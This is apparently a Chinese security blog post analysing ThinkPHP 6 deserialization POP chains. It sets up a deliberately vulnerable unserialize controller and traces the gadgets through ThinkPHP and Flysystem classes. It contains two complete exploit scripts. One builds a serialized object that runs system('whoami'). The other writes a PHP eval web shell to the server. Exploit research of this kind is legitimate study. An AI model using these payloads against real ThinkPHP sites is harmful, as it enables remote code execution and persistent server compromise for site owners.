这里记录了我复现分析的时候遇到的困难、奇葩问题,不够详细请谅解
关于 TP6 的反序列化 POC,除 v6.0.0-rc3 以前的版本可用,其他的已全部失效!官方 github 未找到 commit 记录
但是链子还是值得一看的,虽然旧链新用说不定发现其他东西了呢
由于复现麻烦弃坑了。。 把 ctfshow 的tp题目源码拖下来了,又可以愉快的分析啦
[TOC]
RCE
环境搭建
➜ PHPSec composer create-project --prefer-dist topthink/think=6.0.x-dev tp6
➜ PHPSec cd .\tp6\
➜ tp6 composer update
修改控制器
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_POST['a']);
return 'Hello TP6.0';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
POP分析
TP5 POP 链子入口都是 think\process\pipes\Windows 但是 TP6 中将其删除了,但是其 __toString() 之后的 Gadget 还在,这里用的是 TP5.2 的链子,我没分析 5.2 的在这里走一遍吧哈哈哈,都差不多的。全局搜索 __destruct() ,在 vendor\topthink\think-orm\src\Model.php 中找到可利用方法,其 __destruct() 调用了 save(),跟进看看,save() 调用了 updateData() ,但其需要三个前置条件:$this->data !== null、$this->withEvent = false、$this->exists = true

在 updateData() 中其调用了 checkAllowFields(),而 checkAllowFields() 中存在可控变量的拼接,所以配上原来的 __toString() 的 Gadget 即可完成利用

这里第一个
if前面已经绕过:$this->withEvent = false第二个
if需要$data !== null(前面已经设置),跟进getChangedData()看看会不会改变$data,需要$this->force = true
checkAllowFields() 这里在跟进 $this->db()

$this->table != null 即可拼接变量,可触发 __toString()

搜索 __toString() 还是在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中去利用,__toString() -> $this->toJson() -> $this->toArray(),跟进 $this->getAttr()

这里调用了 getValue(),在那之前先看看 getData() 怎么更改 $value 的

279 的 $name 追到上面是 $this->data 的键值,不是为空的所以跟进 getRealFieldName()

这里直接默认就返回了 $name,所以没必要管他。然后再看上图,285 行的判断,$name 本来就是 $this->data 的键值,所以在往上 $value 就是 $this->data[$key]

然后再去看 getValue(),500 行可以动态执行了(懂我意思吧),要过挺多的 if
第一个 if 不用管,只需要设置 $this->withAttr[$fieldName] 为数组就行
细看这个方法发现和别人分析的不一样,执行命令前加了一个判断 if ($closure instanceof \Closure) 需要 $closure 为闭包(匿名函数),这就堵死了链子的使用,为啥我不能用?别人可以?版本问题?

去 github 看看 releases 说明发现在 29 天前 官方把漏洞修复了。。。我下载的最新版本自然不行,但在 commit 中我未找到其更改记录,可能是我不仔细吧,没有发现,更改版本再试试。。。也不行

切换全部版本发现都会有这个判断,那他们是怎么分析的?在 github 中最新版也就是 v6.0.0-rc3 中才有这种代码

那没办法,手动修改代码,将 if 注释掉,POC 可用,不能动态执行,只能修改 POC

POC
<?php
/**
* @Author ying
* @Date 8/20/2021 10:01 AM
* @Version 1.0
*/
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
protected $withEvent = true;
private $exists = false;
private $force = false;
protected $table;
private $withAttr = [];
public function __construct($obj = '')
{
$this->lazySave = true;
$this->data = array('yq1ng'=>'whoami');
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->withAttr = array('yq1ng'=>'system');
}
}
}
namespace {
use think\model\Pivot;
echo urlencode(serialize(new Pivot(new Pivot())));
}
写文件
POP分析
这个链子比上一个简单太多了,全局搜 __destruct() ,找到 vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php ,其析构函数也调用了 save() ,但和上一个不一样的哈,这个类是个抽象类,首先要找它的子类


挺多的,选第一个看看,vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php::save() ,最后有个写文件的操作,介好啊,在那之前先看看前面的 if 能不能过,三个参数可不可控

先看 $contents ,跟进 getForStorage()

再去看 cleanContents(),这里的 $contents 上图的 $this-cache,不想那么多,直接把他为空。在看上图返回的是 json_encode ,其他两个参数也可控,随意把一个参数变为一句话木马就行,所以 上上图的 $contents 就可控,文件内容就是可控的

然后看 if ($this->adapter->has($this->file)) 怎么想法让他为 false ,在本类中并没有 has() 方法的定义,所以还要找,也是很多,这里使用了 vendor\league\flysystem\src\Adapter\Local.php::has() ,因为这个比较简单,看方法名是 应用路径前缀 ,进去看看吧

没什么更改的,那么随意指定一个不存在的文件即可绕过 if 进入写文件的操作

可能会有疑问,方法不是本类怎么办?再看 if 他是指定了一个任意类的方法,而 $this->adapter 是可控的,所以没关系啦。恰好,vendor\league\flysystem\src\Adapter\Local.php 中也有 write() ,且实现简单,没有过滤

file_put_contents() 有第三个参数,我也是第一次见,看了看源码(function file_put_contents ($filename, $data, $flags = 0, $context = null) {}),不影响我们的操作。官方描述是这样:

POC
<?php
/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Adapter\Local;
class Adapter
{
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct()
{
$this->autosave = false;
$this->expire = '<?php eval($_POST[1]);?>';
$this->adapter = new Local();
$this->file = 'yq1ng.php';
}
}
}
namespace League\Flysystem\Adapter {
class Local
{
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}